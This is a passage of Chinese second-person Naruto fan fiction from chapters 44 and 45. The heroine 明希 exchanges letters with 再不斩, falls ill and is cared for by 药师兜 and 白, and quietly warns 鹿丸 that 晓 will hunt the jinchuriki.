然后渐渐地他就飞远了,遥远得直到漆黑的夜幕将他的身影吞噬,你这才收回目光,看向不远处,药师兜就静静地站在那里,如果不是你的眼神扫过去的话还真没发现那里站着一个人,他的目光幽幽的,见到你发现了自己,这才对你笑了一下,说:“原来明希你还是很偏爱他的啊。” 叽里咕噜地说什么呢。 你说:“你今天的工作都已经完成了吗?”遇事不决就询问对方的工作都完成得怎么样了。 药师兜说:“嗯,这一点明希你不用担心,只不过我在想,等到我离开的那一天,明希你也会这么对待我吗?” 这个难说,毕竟你要是亲他一下,感觉他能回你许多个吻,做到真正的低投入高回报。 “他还只是个小孩子而已。”你想到了之前迪达拉对药师兜的年龄攻击,忽然觉得有些好笑。 药师兜已经对年龄问题免疫了,他说:“唉,我应该还没有到年老色衰的程度吧?” 和他站在黑灯瞎火的地方讨论到底几岁才算是年老色衰,这个画面或多或少是有些滑稽的,你说:“好了,我们难道一定要在这里站着聊这些吗?” 药师兜这才意识到这好像有些不妥,他沉默地跟着你走回客房,他还是对刚才的问题耿耿于怀,你看到他那副沉默不语的模样,心里难得有些动容,当然也有可能是因为他今天打扮得倒是很漂亮。 人总归是会喜欢漂亮的,无论是东西还是人,你说:“药师兜,我并不讨厌你,只是有的时候你好像太容易斤斤计较了,唉,你过来——” 你对他招招手,你好像看见了他眼底隐约的黑眼圈,估计他这几天都在熬夜给你打白工,你握住他的手,他的手掌皮肤还算光滑细腻,你捏了一下他的掌心,看见他掌心的伤疤,因为你之前都没有接触过他的双手,自然也没有发现他掌心的伤疤,你说:“医疗忍术不能将伤口完全治愈吗?” 药师兜的声音飘到你的耳边,他说:“留下这道伤口的时候我还没学会医疗忍术。” “那你那个时候年纪很小吧?” “不记得了,因为要当间谍所以身份都是假的,姓名是假的,年龄是假的,生日也是假的,好像全身上下没有一样真的东西。”药师兜平静地和你诉说着自己的过往,就像是在讲述另外一个人的故事,完全以旁观者的视角展开的。 你说:“但至少你现在不会这样了。” 药师兜顿了顿,说:“明希你这是在安慰我吗?” “是啊,毕竟我刚才都说了我并不讨厌你啊。” 药师兜这才算是露出一个真心实意的笑容,你想了一下,比起亲吻,总觉得他需要的是拥抱,所以你张开手拥抱着他,态度是理所当然的,就像是在拥抱小猫小狗,你还有一下没一下地拍着他的后背,药师兜一下子都不知道该说些什么好,他沉默了好久好久,真正属于他的灵魂,如同哑巴一样的灵魂,好像终于从过往中找回自己的声音。 他将脑袋靠在你的肩头,轻轻地说:“明希……谢谢你。” “是吗?你要是真的想要感谢的话那就继续替我打白工吧,嗯,我是不会给工资的,你觉得怎么样?”你这是将压榨彻底进行到底了。 “可以啊。” 而药师兜却那么干脆利落地答应了。 第44章 这个拥抱持续了不知道多久,反正你觉得时间过得挺漫长的,药师兜似乎没有要放手的意思,还得要你出声提醒才行,你说:“差不多可以 了吧?” 沉默,还是沉默,几秒过后他才开口,说:“要是明希你一直都能这么对我就好了。” 你松开手,说:“你有这种想法就说明你该去睡觉了,嗯……我看你现在就开始做梦了。” 药师兜的内心是前所未有的平和,哪怕听你说这些他也不会生气,他已经找到了自己心灵的归处,“那么晚安。” 想了想,他握住你的手,低下头,亲了亲你的手背,又亲吻你的手指。 感觉他真的要变成狗了,你忍不住这么想,你的指腹按着他的嘴唇,指尖滑过他有些尖锐的虎牙,他维持着这幅姿态,呼出的气息洒在你的皮肤上,轻盈的,温热的。 “没关系哦,明希你怎么对待我都能接受哦。” 你收回手,“那现在就去睡觉吧。” 只是这样吗?他隐约有些失落,但还是很听话地直起身,对着你点点头,而后转身离开。 他能听懂人话的时候倒是还算讨喜,你回到自己的房间关上门。 替你放好洗澡水的白从浴室里出来,他说:“刚才再不斩先生的信到了,这次的信件是加急的,明希你要看看吗?” 加急的信件啊……那果然还是看一下吧,你走到浴室洗了洗手,又用毛巾擦干手上的水珠,旋即接过再不斩写的那封信。 信封上盖着的印戳标明这封信内容重要。 这还是你提醒他的,为了避免他给你写一大堆没什么用的垃圾信件过来,最后导致重要信件被混在垃圾堆里。 用拆信刀拆开信封,抽出信纸展开,你看了两眼,发现原来是你的死对头卡多为了找出酒之国那批货物消失的幕后黑手特意找到雾隐村发布委托。 唉,果然有的时候幸运也是实力的一部分,卡多他怎么就想不开要去雾隐村下发布委托呢?这不是自己往枪口上撞吗? 不过很有可能是因为雾隐村的忍者委托价格比较便宜,至少和远在木叶的忍者一对比那可谓是物美价廉了,也不怪他想要省钱选择雾隐村。 毕竟该省省该花花嘛,也可以理解,你有的时候也是这样,因为你的钱也不是大风刮来的啊。 现在只能说明卡多的运气真的很一般,这个委托还好死不死地落在你的下属再不斩手里,难道这就是天助你也?你一边看信一边手指摩挲下巴,这是你陷入沉思时下意识的小动作。 白问道:“所以是很紧急的事情吗?” “那倒也没有,就是……也能算是个好消息呢,果然再不斩他不会让我失望的啊。”你说着,将这封信递给白,自己伸了个懒腰朝着浴室走去,你说:“对了,你帮我准备一下信纸还有信封吧,我等一下还得要写回信。” “好的。”白应了一声,目送你走到浴室里。 你没有在洗澡上面花费太多的时间,控制在一刻钟内,你打开浴室的门,跟着一堆浓重的水雾走出浴室,此时的白已经给你准备好了信纸还有笔,你坐在书桌旁边写信。 也不需要写那些无关紧要的寒暄作为铺垫,你一上来就是单刀直入,告诉再不斩尽可能地多调查卡多的底细,收集到越多的情报越好,这些情报在日后你清算卡多的时候肯定能派上大用场的。 你一口气给再不斩安排了不少任务,这个工作量他应该能够完成的吧?你还是很信任他们的工作效率的。 写到最后,你才像是觉得这一整封信语气太公事公办不太好,所以你在最后一段补充了一两句问候。 ——你在雾隐村过得还好吗?没有人欺负你吧?有的话告诉我,我替你解决。 ——任务是次要的,性命才是最重要的。 等再不斩收到这封信已经是几天后的事情了,此时的他正在赶往玉之国的路上,他坐在树下拆开那封信,他原先以为那是白代笔写的,但是展开信纸一看,那不是白的字迹而是属于你的自己,再不斩的心情莫名变得复杂。 他暂时歇脚的森林静悄悄的,偶尔能听见一两声藏在草丛里的虫鸣,那声响也是稀稀拉拉的,他从头看起,果然,你给他布置了很多任务,这倒是很符合你的一贯作风,他都已经习惯了,但是看到最后,当他看到你的问候时,他忍不住轻笑一声。 怎么好像在你的印象里他是那么容易被欺负的那一个? 他在雾隐村过得不错,毕竟那是他出生并且长大的地方,是他的故乡,虽说因为和你走得太近以至于身边总是在传一些风言风语,但他也不会把这种话放在心上,那些旁观者又怎么能明白这其中的真相呢? 他们也只不过是按照自己内心的想法,只听自己想听的故事,任意编排别人罢了,但他也没必要为此而生气。 那些人都没有见你的资格,更不配和你说话,所以他们又该怎么了解你呢? 再不斩盯着信纸上最后一段话看了很久,而后无声地将信纸再次重叠,小心翼翼地放回信封里。 虽然他不会承认,但是,他在看到你的信件以后内心确实产生了动容。 有一点可以确认,那就是如果是你的话,你提出的任何要求他都会接受的。 再不斩在这片林子里暂做停留,旋即又马不停蹄地朝着玉之国的国境线赶去,他是在隔天早上见到的卡多,此时的卡多刚刚结束一场宴会,这里说的宴会显然不是你那种连香烟都不让抽的宴会,和你的宴会对比一下,这就奢靡多了。 卡多拍拍情人的大腿,示意对方先下去,而后才慢悠悠地转动自己的眼珠子,看向再不斩,声音漫不经心,全是傲慢。 但他的傲慢与你的骄傲有所不同,你的骄傲是再不斩可以理解的,他甚至被你的骄傲所折服,至于眼前这个男人…… 和你完全没有可比性,不,他都没有和你比较的资格,拿他来和你比较都是在侮辱你。 “你就是那个雾隐村的再不斩?哼……我倒是听过你的大名,听说你很厉害,以前从忍者学校毕业的时候杀光了自己的伙伴,想必你也是个心狠手辣的人。很好,我就需要你这样杀伐果决的人,之前那些忍者都太弱了,只会浪费我的钱。” 卡多的脸上还带着宿醉的痕迹,衣衫不整的样子让再不斩联想到即将被送上屠宰场的公猪。 所以,他和动物其实也没有什么区别的吧? 尤其是在说到他杀死自己的伙伴那句话时,他难道不知道吗?那是因为不合理的制度造成的悲剧,但是到他嘴里就变成了他是个心狠手辣之人的证明,他甚至还对此很满意。 说到底就是他根本没有把忍者当成人类,当成同类来看待,只是在比较哪一把刀更加锋利,更加顺手好用而已。 “嗯……所以你应该已经看过我下的委托了吧?很简单,就是找出造成这一切的幕后黑手,如果你让我满意的话,我还可以满足你一个愿望。”就像是在施舍,说着可以满族他的愿望,实则高高在上。 这幅姿态还真是,让人感到不悦。 如果是你的话……肯定就不会这样了吧? 他会心甘情愿地为你付出一切。 但现在还不能暴露自己,因此再不斩努力地克制着自己的杀意,现在还不可以杀死他。 “喂——你们雾隐村的忍者都是哑巴吗?我说了那么多你都不知道应一声吗?真是没礼貌的东西!”卡多似乎还没从醉意中清醒过来,说话非常容易情绪化。 再不斩说:“抱歉,我会完成您给的任务的。” 卡多冷哼一声,对再不斩的态度不是很满意,轻蔑地挥挥手,像是在打发什么垃圾似的让他退下。 从卡多卧室离开的再不斩在这座赌场了观察,看似是在认真进行调查工作,实则是在寻找你留下来的还没来得及完全清理的痕迹,简单来说他就是来清理你曾经在这里停留过的证据的,愚蠢的卡多还没有意识到自己雇佣的忍者是个两面派。 再不斩在路过某个房间的时候鬼使神差地停下脚步,他就是觉得……你很有可能在这里停留过,事实证明他的直觉非常准确,你的确在这里住过,再不斩开始着手销毁你的痕迹,处理到一半,他感觉到了不对劲,这里好像不止你和白两个人待过,还有另外一个人,不,是另外两个人。 但是根据你的描述,你当初来赌场就带了白一个人,那么就只有两种可能了,一种是他出现了判断失误,还有一种就是你在欺骗他,你对他隐瞒了一部分的真相。 现在看来 后者的可能性更大,那就是你没有和他说实话。 能够和你住在一块,而且还让你主动隐瞒的人,再不斩脸色一点点地阴沉下去,那估计就是宇智波了。 然后问题就变成了,究竟是哪一个宇智波呢?再不斩陷入沉思,这个问题等到下次他与你见面的时候再好好问你。 他将你留下的痕迹清理得一干二净,哪怕是后面卡多再找别的忍者过来也难以找到有用的信息。 在赌场里转了一圈,卡多身边的人又找过来说是卡多要见他,于是再不斩回到卡多的卧室,对方说:“很有可能是晓组织,那群家伙就知道到处找麻烦,制造骚乱,能够搞出这么大动静的幕后黑手大概率就是他们了!” 本来还在思考怎么搬出一套说辞转移卡多注意力的再不斩发现对方好像已经认定了这就是晓组织的手笔。 反倒是省得他解释一番了,不过新的问题又出现了,卡多当即表示要让再不斩去调查晓组织,最好是能将其中成员的项上人头取回来给他。 “但我接到的任务只是一个B级任务,您刚才所说的任务内容已经达到S级的程度了。” 真是的,这家伙在说话前难道就不会过一过脑子的么?再不斩不悦地心想道。 被再不斩这么提醒的卡多还以为对方这是在回嘴,表情变得更加难看,他说:“这种事情还轮得到你来提醒我么?我当然是知道的啊!”语气里满是不耐烦。 看上去他根本就没考虑到这一点,会这么说也只是为了挽回自己的颜面而已,再不斩早就已经看透了这些权贵的嘴脸,他低垂头颅,在卡多看不见的视角里表情阴冷。 “你不就是想要钱吗?钱我有的是,反正你只需要完成我给的任务就好,懂了吗!?” “是,我明白了。” 要去调查晓组织的话……再不斩一下子就想到了围绕在你身边的那两个晓组织成员,一个两个的阴魂不散。 尽管卡多临时更改了任务内容,将他手头的B级任务变成了S级任务,任务报酬也会跟着翻好几倍,但再不斩对金钱倒是没有那么在乎,你之前给他打入账户里的工资他也没怎么碰过,不知道是出于什么想法,反正就是不想碰。 偶尔他也会去看看那个账户,只是去看数字的,看着那一串数字,内心也没有特别的波动。 所以他这次任务也不会有多认真地推进,基本上就是怎么敷衍怎么来,反正能应付了事就行。 但他确实有些好奇那些晓组织成员到底在做什么,他们从你身边离开以后内心不会产生动摇吗?他们还能坚定地向前走吗?他们不会对自己选择的那条路产生疑惑吗? 再不斩想到的那些问题也正是迪达拉现在所经历的,他离开你以后再次和自己的搭档赤砂之蝎会面,对方敏锐地察觉到这次前来执行任务的迪达拉和之前有些不一样,他说:“你那是什么表情?在来的路上遇到埋伏了吗?” “什么啊,埋伏?普通的埋伏还想要伤害到我吗?这怎么可能啊,嗯!”迪达拉急急忙忙地辩解道。 “所以不是埋伏?” “对啊,我不都说了吗,不是埋伏,嗯!”迪达拉又耐着性子回答一遍,赤砂之蝎半信半疑,他说:“你应该知道的,我最讨厌别人迟到了,而你这次还迟到了这么久。” 言下之意就是他必须得要给个说法才行。 迪达拉也知道自己的搭档性格有多执拗,要是他不给个解释的话,估计他会一直追问下去的,于是他说:“一些个人原因而已。” 赤砂之蝎继续向前移动,声音不咸不淡,“个人原因,我知道了,你应该是去见那个女人了吧?” 什么叫做那个女人啊?迪达拉不是很喜欢蝎对你的称呼,他皱着眉说:“明希不是‘那个女人’啊。” “我才不在乎她的名字是什么,我只知道你因为她耽误了不少时间,她有什么魔力让你都忘了自己的任务?”赤砂之蝎嘴上说着不在乎,实则的确在好奇你到底是怎样的一号人物,居然让迪达拉都迟到了。 迪达拉心虚地摸了摸自己的鼻尖,将视线转移到另外一边,没有马上回答,赤砂之蝎说:“所以她是你的情人?” “什、什么——情人啊!?我和她才不是这种关系呢!嗯!”在迪达拉看来自己和你的关系更加纯粹,才不是什么情人不情人的,这样说起来就显得好俗气,迪达拉的脾气都上来了,他接着补充道,“我和她的关系是独一无二的,是很难用言语来形容的,就像是我的艺术一样。” 赤砂之蝎轻飘飘地说:“那就是一点关系都没有了。” 两人之间的年龄差距使得赤砂之蝎可以轻而易举地用一句话惹得迪达拉炸毛,后者说:“切,你对此一无所知,你是没办法理解的啦,就像你无法欣赏我的艺术一样。” 不,这是不一样的,因为他之前确实见过迪达拉的艺术,但是你,他还没有见过你,所以他得出的结论是自己得要找个时间去见见你。 他想要弄清楚你为什么那么吸引迪达拉,而且从迪达拉的只言片语里不难看出你吸引的人可不止迪达拉一个,所以,究竟是怎样的人才会有这么大的魅力呢? 想到这里,赤砂之蝎没有把自己的内心想法说出口,免得又惹毛了搭档影响接下来的任务,他们这次的任务是去黑市上收集有关人柱力的情报。 黑市上贩卖的不只是物品,还有各类情报,那里总是有着不少情报贩子,这就是他们此次任务的目标了。 在经过这个小插曲以后迪达拉就不再向赤砂之蝎主动提起你,他的内心总有种危机感,那就是如果和蝎说了太多关于你的事情的话,反而会激起他的好奇心。 万一,他是说万一,到时候他的搭档去找你麻烦又该怎么办呢?而且这还不是最糟糕的情况,最糟糕的情形应该是蝎对你产生兴趣,这是极有可能的。 他才不想让这种事情发生呢,他领略过蝎对于艺术的态度,如果他想要将你制成傀儡那该怎么办呢? 因此迪达拉在到达黑市前试探性地问道:“蝎,你刚才都在想什么?应该只是任务的事情吧?” 赤砂之蝎冷笑一声,迪达拉那点小心思在他面前一览无遗,他怎么可能没看出来,他说:“你觉得我应该在想什么?” “明希她是个很好的人,这样的人应该活下去,而不是变成傀儡。” “你那么快就想到了我要把她做成傀儡那一步了?”赤砂之蝎的声音里听不出什么情绪,仿佛真的只是单纯的好奇而已。 “我只是觉得有这种可能而已。”迪达拉还在给自己找补。 赤砂之蝎不仅仅是从迪达拉嘴里听说过你,他还从其他途径收集过你的情报,这些情报汇总最后拼凑出你的个人形象,一个让人捉摸不透的女人。 迪达拉现在这么紧张的模样,显然是把你当成了很重要的人,那么你呢?你也认为迪达拉很重要吗? 显然不是的,像你这种擅长利用别人的人,又怎么会有真心呢? 赤砂之蝎以年长者的姿态对迪达拉说:“那你想多了,我还不至于给自己找麻烦。” 闻言,迪达拉狐疑地盯着蝎看了一会,也正是在这时他们到达黑市,两人都暂时将这个话题抛到脑后,一心一意地收集情报。 就在所有人都在按照自己的计划前进的时候你病倒了。 光看上一句话或许有些严重,但其实就是因为连轴转了好几天,再加上熬夜吹冷风,最后爆发的一场病而已,总的来说问题不大,就是发烧头疼而已,远没有到绝症的地步。 作为当事人的你心情平静,反倒是周围人急得团团转,比你还要着急,搞得好像你得了什么绝症似的。 药师兜更是把自己的办公地点搬到你的卧室里,一边办公一边看你。 你合理怀 疑他这是借着这个由头进你的房间,你说:“你这幅架势只会让我觉得你的脑袋出了什么问题,我只是发烧而已,发烧你应该知道的吧?你也是学医的啊。” 药师兜走到你的床边,为你调整枕头的高度,然后顺势握住你的手,说:“但我还是会很担心明希你的啊,果然还是让我一直看着你比较好吧?” 你捏了一下他的掌心,他的手掌登时摊开,任由你捏住他的指根,你说:“你这是故意的。” “如果可以的话,我真希望生病的那个人是我。” 但很可惜,他们忍者的体质就是没那么容易生病,不像你,你只是个普通人而已,你伸出手拍拍他的脸颊,说:“再说这种肉麻的话我就把你给丢出去。” 药师兜点点头,问你还需要什么吗?你说需要白,他说:“白能做的事情我也能做到哦。” 你表示自己可没有吃代餐的喜好。 最后还是让白准备了晚餐,因为药师兜的手艺实在是不怎么样,他本人也意识到了这一点,当即就说自己会好好修炼厨艺的。 “我日后绝对不会让明希你失望的。” 第45章 生病的时光总是难熬的,无论是上辈子还是这辈子都是一样,唯一的区别可能在于上辈子你还能捧着手机解闷,但在这个世界别说是手机了,就连座机都还没有发明,这时候你就开始格外想念上辈子的科技产品。 看书也可以解闷,甚至是能催眠,尤其是这种专业性很强的书,就比如说你现在手里捧着的这本就是关于查克拉分析的书籍,看多了你就感觉自己好像误入魔咒理论课的麻瓜,虽然也能理解每句话的意思,但是因为你本身就不具备查克拉,所以看这种东西只会觉得很悬浮。 药师兜来给你送药的时候发现你还在看书,他难得严肃地说:“看书也应该有个度,再这样看下去明希你的眼睛会疼的吧?” 他管的还挺多,你这辈子的这具身体基因不错,眼睛不会近视,而且牙齿也没有蛀牙的趋势,比起自己的美貌,你最满意的还是不会近视的眼睛还有一副好牙齿。 药师兜将手里的托盘放在床头,托盘里放着一个小碟子,里头装着几颗药,旁边还有一杯温水,又到了吃药的时候,感谢这个世界已经有了药物胶囊的存在,否则让你空口吃这些苦得要命的药水还不如杀了你。 两口温水把药丸送服,你奇怪地问:“你的假期还没有结束吗?大蛇丸居然给你放了那么长的假期啊?” 实际上并没有,之前大蛇丸就送了信过来询问他什么时候回实验室,药师兜身为大蛇丸的左膀右臂,对方少了他做实验都有些不太顺手了,而药师兜也少见地拒绝了大蛇丸,当然,他拒绝得很委婉,说是你突然生病,他实在是放心不下,至少等到你痊愈以后他才能安心离开。 听到这里你忍不住说:“等一下——那你这不是把我当成你的请假理由了吗?” 药师兜笑得眉眼弯弯,说:“啊……话也不能这么说吧?毕竟我是因为真的担心明希才不愿意离开的啊,这些话都是我的真心话呀。” 你可不想成为他的挡箭牌啊,你又喝了一口水,郑重其事地对他说:“这只是一场感冒而已,又不是什么绝症。” 药师兜伏在你的床沿,抬眼,摘掉眼镜以后的他好像知道自己哪个角度最好看,也是,像他这种聪明人怎么会搞不明白自己的优势所在呢? 他抬眼的样子温驯,你感觉自己的脑袋还是稍微有点痛,这也是没办法的事情,你这两天总是反反复复地发烧退烧然后再发烧,如此循环往复。 为了保险起见,白这些天都守在你身边,每隔一个小时检测你的体温,你觉得他都有点反应过度了,但他不这么觉得,甚至还觉得这是自己应该做的。 当天晚上你睡得迷迷糊糊的,也有可能是烧得迷迷糊糊的,在半梦半醒之间你看见白安静地注视着你,眼里好像有泪光闪过。 不是吧?他这是着急得掉眼泪了吗?你问道:“白?你在哭吗?” 你一开口,声音就沙哑得让你自己都感到陌生,你这嗓音让白更加难过了,他说:“没有,我没有在哭,我只是在难过而已,为什么明希要经历那么痛苦的事情呢?” 只是感冒而已,他们一个个地如临大敌,你还想笑两声的,但是你现在这个破锣嗓子还是算了吧。 你伸出手,白主动地靠了过来,脸颊贴着你的手掌心,你掌心的温度比他的体温还要高一些,你说:“白触碰起来是冰冰凉的欸。” 他说:“那明希你可以抱着我,不要放手。” 你最后只是轻轻地拥抱着他,直到后半夜你的体温才降下去,然后你终于恢复正常了。 病好了以后的第一件事就是去吃圣代,你挑了个没人的时间点去王宫的餐厅里吃圣代,这份圣代比你两个拳头还要大,最底部是湿润的巧克力布朗尼作为基底,上面又铺了好几个香草口味的冰淇淋球,还能尝到香草籽,中间还有一层什锦水果,什么草莓和蜜瓜,好像还有几颗蓝莓和树莓,味道偏酸,但是最上面的奶油又很好地中和了这酸味。 你坐在一个阳光恰好能照耀到的位置旁边吃圣代,吃到一半,当你开始用勺子扒拉最底部的巧克力布朗尼的时候你就知道自己有点吃不下了,恰好在这时候药师兜前来和你告别,他总算是要走了,见到你在吃冰淇淋,他就说:“病刚好就吃圣代……明希你还真是恣意啊。” 确实,如果不能吃自己想吃的东西,做自己想做的事情感觉重活一次好像也没有太大的意义,你把吃到一半的圣代推到旁边。 药师兜说:“是有些吃不下了吗?或许我可以帮忙?” 说着,他很自然而然地接过你的勺子,一口一口地吃掉剩下的布朗尼,吃到最后他的表情都变得很微妙,他说:“好像有点甜过头了呢……” 因为解腻的水果都已经被你吃光了,剩下的是巧克力布朗尼还有奶油,那能不腻吗? 最后他说:“我就要走了,明希你就没有什么想要对我说的吗?” 你看着被他吃得干干净净的圣代玻璃杯,说:“我会给实验大楼的员工餐厅多加几道甜品的,再加一道传奇圣代。” 在他那么期待的目光注视下结果你只是说这个吗? 听到这话也不能说是失望吧,毕竟这也能代表你是在关心,只不过稍微有点失落而已,他又问:“除此之外呢?” 除此之外啊……你想了想,说:“下次再见吧。” 药师兜的手指勾着你的小拇指,“是吗?明希你在期待我们的下一次见面吗?听到你这么说……我真的好高兴啊。” 高兴就高兴呗,手指勾着你的小拇指又是几个意思?你盯着他的掌心看了一会,又看到了那道很浅的伤痕,在灯光下如果不盯着仔细看的话是无法察觉的,你说:“是么,那你现在应该可以走了吧?” 有些犹豫不决的,你看到他的身上浮现出这种摇摆不定的气息,他斟酌用词,问道:“我希望明希你能再拥抱我一下,一下就好。”他特意强调了拥抱的次数,可能是因为在此之前被你拒绝了太多次给他留下了一些心理阴影。 你站起身抱住他,药师兜说起以前在孤儿院的时候虽然院长一直都在很尽心尽力地照顾大家,最基本的吃饱穿暖都只能堪堪达到,更别提其他的情感需求了。 所以在长大以后,在成年以后,以前缺失的情感需求又冒了出来。 想要靠近你,想要被你拥抱,就这样填满自己内心的情感黑洞。 * 送走药师兜以后你的生活重回正轨,前阵子因为生病积攒起来的工作也被你一点点地处理完,才解决完这些文件没多久,你的窗边就突然出现一只猫头鹰,看上去和普通的猫头鹰很不同,尤其是眼神。 那眼神格外犀利而聪慧,你打开窗户,那只猫头鹰即刻飞了进去,它的背上还绑着一封信,上面印着木叶的标记,你一看就知道那是上次叮嘱鹿丸绑定的通灵兽,他的办事效率还挺高的。 你从猫头鹰身上取下那封信,猫头鹰歪了歪脑袋,突然口吐人言,说:“你前阵子生病了吗?” 嗯?它这又是怎么看出来的?你拆开那封信一边看一边问猫头鹰,“你是怎么知道的?” “这又不难看出来,你的身上还带着点病气,虽然身体已经痊愈,但是病气是没那么容易消失的。” 真没想到啊,身为通灵兽的猫头鹰居然这么聪明,你点点头,说:“恭喜你答对咯,我确实生过病。” 你看信看到一半听见猫头鹰又说:“注意身体健康,要不然鹿丸会很担心你的。” 你将视线转移到它身上,问道:“这是鹿丸交代你的吗?” 猫头鹰不说话了,装作没听懂你说的话,还目光闪躲,你不免觉得有些好笑,笑一笑就当过去了,你给木叶又写了一封信,说明自己接下来的计划,又将那封回信绑在猫头鹰的背上,你忍不住摸了摸它的脑袋,毛茸茸的,它说:“那我走了。” 你之前就有听说过通灵兽的性格往往会和自己的主人有一些相似之处,刚才那只通灵兽就让你想到了鹿丸,如出一辙的懒洋洋姿态,但姿态懒洋洋的不代表做事情就不认真,恰恰相反,应该说是非常认真负责才对。 那只猫头鹰飞过山谷和平原,穿过迷雾和雨水,最后终于回到木叶,回到自己的主人身边,此时的鹿丸正在和老师阿斯玛下棋,对方抬起头,对鹿丸说:“你的通灵兽回来了。”说着,他微微眯起眼睛,“看起来它好像满载而归啊。” 阿斯玛看见了那只猫头鹰背后的信件,好像不止一封信,等那只猫头鹰降落在鹿丸怀里的时候他才看清楚猫头鹰的后背除了那封信还有一个小罐子,他打开一看才发现里面装的是茶叶,猫头鹰也说:“这是她准备的回礼,说是最新一批的嫩尖茶叶。” 阿斯玛若有所思,他说:“鹿丸你和她的关系变得那么好了吗?” 鹿丸唯恐自己的老师误会了自己,他急急忙忙地辩解道:“才不是这样的啊,我和她的关系就是很普通的合作关系,不,她是通过我来联系木叶,所以我对她来说只是一个渠道而已。” 做人胜在有自知之明,鹿丸就对自己有着清醒的认知,知道自己几斤几两,也知道自己在当下这个情况中扮演着什么角色,总之绝对不可能是你的暧昧对象的角色。 “您就别瞎猜了。”情急之下的鹿丸冒出一连串的敬语,看得出来他这是真的很着急了,阿斯玛笑了起来,说:“你放心,我会当做什么都没看见的,而且这些事情我也不会告诉其他人的。” 被人八卦的感觉一点都不好受,鹿丸也不想变成处在风口浪尖的人啊。 因为那样真的很麻烦啊…… 猫头鹰又说:“虽然鹿丸你不说,但我总觉得她对你很特殊呢。” 怎么就连通灵兽也在瞎说话啊?鹿丸就跟听到了什么令人惊讶的话语似的把头转到另外一边,他手中的那罐茶叶散发出幽幽的茶香,这股香味让他更加不好意思了,他说:“只是送了一份礼物而已。” 猫头鹰不说话了,拍拍翅膀站在旁边整理自己的羽毛,偶尔看鹿丸两眼,后者将注意力都转移到你写的信上面,你在信件里说明了自己的下一步计划,写得非常详细,看得鹿丸有些疑惑,你真的会将自己的计划向他和盘托出吗? 作为一个精明的商人,应该是不会那么轻易相信别人的吧?而且再说了,你也是知道的,你们之间的书信往来会被送到火影大人手里,也就是说你们谈论的内容,无论是和正事有关的还是一些无关紧要的闲聊,都会被火影大人看见。 而你还在这封信的结尾问候他一切安好,鹿丸看着你那几句问候,若有所思,他在思考要是被火影大人看见的话会不会引发别的问题呢? 但如果是火影大人……应该不会想得那么八卦吧?顶多就是询问他关于任务的事情,没错,他相信火影大人肯定不会那么八卦的。 带着这样的想法站起身,老师阿斯玛说道:“不把这盘棋下完吗?” 鹿丸说:“不用下了,因为到最后老师你都会输掉的。” 还真是狂妄的小子啊,阿斯玛在心里这么想,行吧,仔细看看棋局也能够发现他确实毫无胜算,所以就让棋局停留在这一步吧,还能省了一顿请客吃饭的钱,阿斯玛说:“正好我也要去火影楼,不如一块去吧。” 鹿丸点了点头,和自己的老师并肩同行,在去火影楼的路上阿斯玛又问:“对了,在你要走的时候她都对你说了什么呢?” 在听说他要走的时候你还特意把鹿丸叫到了自己的书房,和他聊了好一会,至于聊天的内容是什么,时至今日鹿丸谁都没有告诉,就连此刻自己的老师问起来他也只是摇摇头,说:“抱歉,这个问题恐怕我不能回答。” 阿斯玛也没有要一直追问下去的意思,他本来也只是顺便一问而已,“是么……不过我相信鹿丸你的判断,你自己心里有数就好。” 听到老师这么说,鹿丸的表情一点一点地沉下去,他的思绪飘回到与你对话的那个午后,见到他来了,坐在书桌后的你对他微微颔首,没有要起身迎接的意思,注视着他在你面前坐下,然后说:“和我说说鸣人的近况吧。” 诶?那么突然地向他询问鸣人的情况,鹿丸表情错愕,好像没听明白你的意思,害得你还得重复一遍,说:“鸣人啊?鹿丸你不认识吗?我记得他是你的同期吧?” 他怎么可能会不记得啊,他当然知道啊,而且他和鸣人的关系也很不错。 “我能问问你为什么要打探他的情报吗?” “什么情报不情报的,这么说是不是有点太难听了呀,我只是在关心鸣人而已。”说着,你把点心还有茶水往他的方向推,“鸣人这孩子总是在寻求他人的认同感,但别人的认同感本身就是虚无缥缈的东西,一直追逐着这种如同泡泡般虚幻的东西,最后泡泡破了,那就什么都没有了。” 鹿丸还是有些不太明白,他说:“你到底想要说什么?” 终于,前面铺垫了那么多,你说:“晓组织接下来会开始抓人柱力提取他们体内的尾兽作为武器,你也别问我是怎么知道的,反正叫住我说的话就行。” 这句话的信息量太大,首先你是怎么得到这些情报的?其次,你又是怎么确定这些情报的真实性的?这两点缺一不可,而能够做到这两点也绝不容易,所以当时鹿丸的表情一下子就凝重起来,他说:“你和晓组织的人接触过?” 何止是接触过啊,而且还睡过呢,但你没有把这话说出口,免得吓到眼前这个年轻忍者,你含糊不清地说:“差不多吧,稍微有些了解而已。” 你在模糊重点,聪明的忍者一下子就发现了这点,但他没有戳破你的谎言,因为想让你这样一个商人说实话难如登天,而且你肯对他说这些就足以证明你是在乎鸣人的。 说起来你和鸣人的关系有这么好吗?鹿丸只记得鸣人从忍者学校毕业以后被分到和佐助小樱一个小队,或许就是从那个时候开始逐渐和你熟悉起来的吧? 不得不说,鸣人也还真是好运气,和那个宇智波佐助一个小队,然后就能顺理成章地增加与你接触的机会,再一点点地从弟弟的队友变成朋友。 难怪当初你离开木叶以后 失落的人不光是宇智波其中也包括漩涡鸣人,那段时间的鸣人总在思考你为什么会离开,想着想着就觉得你可能是因为被逼婚才逃跑的,甚至还一度质问宇智波鼬为什么要那样对待你,当然,结果就是被对方无视了。 宇智波鼬那么傲慢的家伙是不会将其他人放在眼里的,别看他平日里那么彬彬有礼,实则那只是对于傲慢的伪装罢了。 思绪好像跑远了,总之,鸣人很在意你,原本鹿丸还以为鸣人的感情是单向的,是不会得到回应的,但是听到你刚才说的那一番话,他就忽然意识到,你比他想象的还要在乎鸣人。 该怎么形容他那时的心情呢,心里有种说不出来的滋味吧,理智提醒他这样未免也太自作多情了一点,但是、理智又不是任何时候都会发挥作用的。 后来你又说:“当然,也不要告诉鸣人我和你提起过他。” “为什么——?” 你耸耸肩,表情很平淡,你说:“因为会很麻烦,鸣人那孩子实在是太容易较真了,简单来说就是喜欢钻牛角尖,万一他听到这个消息以后又跑来找我怎么办?这会让我很困扰的啊。” “但是,你刚才那么说不就是因为在乎他吗?那你却不想和他见面?”鹿丸虽然是个聪明人,但就算是聪明人有些感情问题他也是难以理解的,他不明白你为什么关心鸣人却又不想见到他,这样不是在自相矛盾吗? 果然他还是无法理解你的想法。 你说:“这两者并不矛盾吧?而且你难道还不了解鸣人的性格吗?”一见到你估计就要难过得掉眼泪,然后把你带回木叶,论起自说自话的功力,你总觉得他和宇智波鼬不相上下,有过之而无不及。 鹿丸沉默片刻,而后表示自己知道了。 